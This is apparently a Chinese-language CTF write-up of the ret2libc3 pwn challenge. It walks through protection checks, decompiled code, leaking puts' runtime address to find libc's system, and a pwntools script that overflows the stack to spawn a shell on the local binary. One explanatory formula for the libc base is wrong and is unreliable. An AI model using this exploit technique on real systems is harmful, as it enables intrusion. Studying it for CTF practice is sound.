文章目录
一、要点
- return to libc
- libc中的地址泄露和定位
二、预备知识
预备知识请参考pwn入门参考资源中的PLT和GOT、ROP部分。
三、题目
这是一道pwn ret2libc的题目,题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1fvb4ICRncfrXcq9d5lcxxg
提取码:yl5b
本次实验对应ROP文件夹下的ret2libc3
四、解题过程
1、检查保护机制
checksec只有NX,无法平坦的溢出栈空间。
2、运行查看效果
运行该程序,用户有两个输入点,第一个输入点需要填入一个地址(10进制),而后程序会输出一个16进制的值。第二个输入点填充大量字符串时,程序crash,报段错误。
3、IDA静态分析
拖入IDA中查看伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v4; // [esp+4h] [ebp-11Ch]
int v5; // [esp+8h] [ebp-118h]
char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, buf, 0xAu);
v8 = strtol(buf, v4, v5);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, src, 0x100u);
Print_message(src);
puts("Thanks you ~");
return 0;
}
4、栈溢出的设计
要在栈上拼出的内容见下图:
在栈中填入libc system的地址和参数,利用系统调用打开shell。
5、使用本地libc.so进行分析
可以使用题目给出的libc-2.23.so进行分析,也可以使用本地的so进行分析。本文,使用本地的so进行分析。使用如下命令查看使用的so和版本号:
gdb ret2libc
b main
r
vmmap
从图中可知链接的so为/lib/i386-linux-gnu/libc-2.23.so。
6、泄露puts的地址、定位system的地址
本题的思路是泄露libc中的函数,该函数必须在第一个read之前执行,这里我们就来泄露puts函数的地址。假设puts函数的地址为put_addr。而后需进行如下操作来解析:
第一步:解析elf文件,计算puts函数的偏移puts_got = elf.got[‘puts’],接收程序打印的puts函数运行时的地址dyn_put_addr,并定位到libc的首地址libc_base = dyn_put_addr - puts_got。
第二步:进一步定位到system的地址:dyn_put_addr + libc.symbols[“system”] - libc.symbols[“puts”]。
第三步:通过elf.search(‘sh\x00’).next()定位sh的地址。
7、编写exp
编写的exp为:
from pwn import *
elf = ELF('./ret2libc3')
#libc = ELF('./libc-2.23.so')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
io = process('./ret2libc3')
#raw_input()
io.recv()
puts_got = elf.got['puts']
print puts_got
io.send(str(puts_got))
io.recvuntil('address : ')
dyn_put_addr = int(io.recvuntil('\n', drop = True), 16)
system_addr = dyn_put_addr + libc.symbols["system"] - libc.symbols["puts"]
print hex(system_addr)
#io.recvuntil('me :')
payload = flat(['A' * 60, system_addr, 0xdeadbeef, elf.search('sh\x00').next()])
io.sendlineafter(' :', payload)
io.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell: